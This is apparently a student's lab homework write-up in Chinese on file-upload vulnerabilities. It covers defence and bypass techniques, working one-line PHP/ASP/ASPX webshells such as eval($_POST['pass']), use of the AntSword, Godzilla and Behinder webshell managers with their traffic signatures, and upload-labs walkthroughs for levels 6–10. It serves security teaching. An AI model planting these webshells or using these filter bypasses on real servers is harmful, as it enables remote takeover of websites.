实习实训第七次作业

任务一:文件上传防御手段及绕过手段总结

文件上传漏洞

        如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。

文件上传防御手段

    (1)js前端校验文件类型
    (2)校验上传文件类型
    (3)校验上传文件内容
    (4)校验上传文件大小
    (5)校验上传文件路径
    (6)校验请求头content-type字段
    (7)文件上传后存储到存储桶中
    (8)文件上传后以时间戳方式重写文件名
    (9)设置可执行目录白名单

文件上传绕过手段

    (1)大/双写文件名绕过
    (2)恶意文件内容以多段拼凑/拆解的形式组合
    (3)目录穿越到可执行目录
    (4)修改MIME类型
    (5)大小写绕过
    (6)图片木马
    (7)文件包含绕过
    (8)文件竞争绕过


任务二:文件上传常用一句话木马

php: <?php @eval($_POST['pass']);?>、<?php system($_GET['cmd']);?>
asp: <%eval request ("pass")%>
aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>


任务三:课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

  • 中国蚁剑

AntSword(蚁剑)是一款开源的网络安全工具,常用于网络渗透测试和攻击。它可以远程连接并控制被攻击计算机,执行命令、上传下载文件等操作。

蚁剑与网站进行数据交互的过程中,发送的数据是经过编码器编码后再发送,支持的编码方式有default(默认的)、base64、chr、chr16、rot13;网站返回的数据经过解码器中的编码方式编码后返回,支持的编码方式有default、base64、rot13。

启动phpstudy,选择网站,新建域名为webshell.top的网站

打开phpstudy下的webshell.top目录,新建一个php文件,打开写上一句话木马

打开bp开启拦截,浏览器打开bp代理,直接访问网站webshell.top/test.php

将抓到的包发送到重放器,点击发送

打开中国蚁剑,右键“添加数据”

如图填写

点击测试连接,显示成功

右键选择“虚拟终端”

成功

设置蚁剑的代理与bp的代理一致,开启拦截,点击测试连接,抓到蚁剑的数据包

选中红色部分进行URL转换得到

可以得到蚁剑的数据包流量特征:
每个请求体都存在@ini_set(“display_errors”, “0”);@set_time_limit(0)开头。并且后面存在base64等字符
响应包的结果返回格式为:随机数,响应内容,随机数

使用base64加密的payload,数据包存在以下base加密的eval命令执行

数据包的payload内容存在几个分段内容,分别都使用base加密,解密后可以看到相关的路径,命令等


响应包的结果返回格式为:
随机数
编码后的结果
随机数

  • godzilla(哥斯拉)

一个功能强大的Webshell管理工具,它拥有过市面所有静态查杀的能力,且流量经过加密,能有效绕过WAF。与冰蝎和蚁剑相比,哥斯拉的插件更胜一筹。安装只需下载JAR包并运行,支持生成免杀木马。用户需确保密码、密钥、有效载荷类型和加密器在连接时与生成木马时一致。

打开哥斯拉,“管理”->“生成”,按图所示生成一个木马。

生成成功

打开查看,是一句话木马

以upload-labs第一关演示

直接上传php文件(一句话木马)发现不可上传,提示只可上传图片类型的文件

查看源代码

是一个前端校验,可以通过使用burp拦截数据包修改内容,实现绕过。把gsl.php的后缀改为.png。

点击上传,抓包

改变上图中的gsl.png为gsl.php,然后放行

回到浏览器,发现已经上传成功

F12查看网页源代码,选择图片,检查

url拼接结果如下:

url->http://127.0.0.1/upload-labs-master/Pass-01/index.php

图片路径->../upload/gsl.php

目标路径->http://127.0.0.1/upload-labs-master/upload/gsl.php

打开哥斯拉,“目标”->“添加”,填写里面的内容。要和这个木马生成时候选的的选项保持一致。

可以先“测试连接”,看是否有出错,提示“success”了再“添加”。

选中目标,右键选择进入

内容如下

在哥斯拉中修改目标信息

打开bp抓包,点击测试连接

发送到重放器,点击发送查看响应包

流量特征分析:
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate

  • Behinder(冰蝎)

一款基于Java开发的动态加密通信流量的新型Webshell客户端,由于通信流量被加密,传统的WAF、IDS 设备难以检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行对称加密,且加密密钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。

打开冰蝎

点击传输协议,协议名称选择default_xor_base64,点击生成服务端

生成木马文件

且显示服务端生成完成

将shell.php上传至phpstudy的www目录。然后进行添加

保存后双击进入

在冰蝎中设置代理

bp中开启拦截,双击目标,抓到数据包

流量特征分析:

所有请求中

Accept: application/json, text/javascript, */*; q=0.01

Content-type: application/x-www-form-urlencoded

User-Agent: 冰蝎设置了10种User-Agent,每次连接shell时会随机选择一个进行使用


任务四:文件上传无回显如何查找webshell地址

字典爆破
时间戳枚举

使用webshell扫描工具

审查前端代码


任务五:upload-labs靶场通关第6-第10关

Pass-06

选择webshell文件上传

显示“此文件类型不允许上传”

查看源码

发现源码中过滤的后缀有小写和大小写混写的,但没有大写,我们的php文件名是不区分大小写的。于是将后缀名改为纯大写进行绕过尝试

点击上传,上传成功

在upload下发现上传的文件

Pass-07

选择webshell文件上传

显示“不允许上传”

点击查看源码

发现没有对上传的文件名做去空格的操作,利用burp抓包,发送到重放器后修改对应的文件名添加空格

点击发送

打开蚁剑,对127.0.0.1/upload-labs-master/upload/202409042337458472.php进行连接,密码为pass,测试连接成功

点击进入

Pass-08

选择webshell.php文件进行上传

上传失败

查看源码

没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过

上传时,bp拦截抓包,发送到重放器,在文件名末尾添加.号,点击发送

打开蚁剑进行连接,成功

Pass-09

选择上传webshell9.php文件

上传失败

查看源码

没有对::DATA进行处理 ,可以使用::DATA进行绕过黑名单

上传时,bp拦截抓包,发送到重放器,改后缀webshell9.php::$DATA

打开蚁剑进行连接,成功

Pass-10

选择webshell10.php文件上传

上传失败

查看源码

由源码可看出,前面的点绕过,大小写绕过,空格绕过等都不可行,于是这里选择对上传路径直接使用文件名进行拼接

filename=deldot (file_name=deldot(filename=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单。deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

上传时,bp拦截抓包,发送到重放器,改后缀webshell10.php.  .

打开蚁剑连接,成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值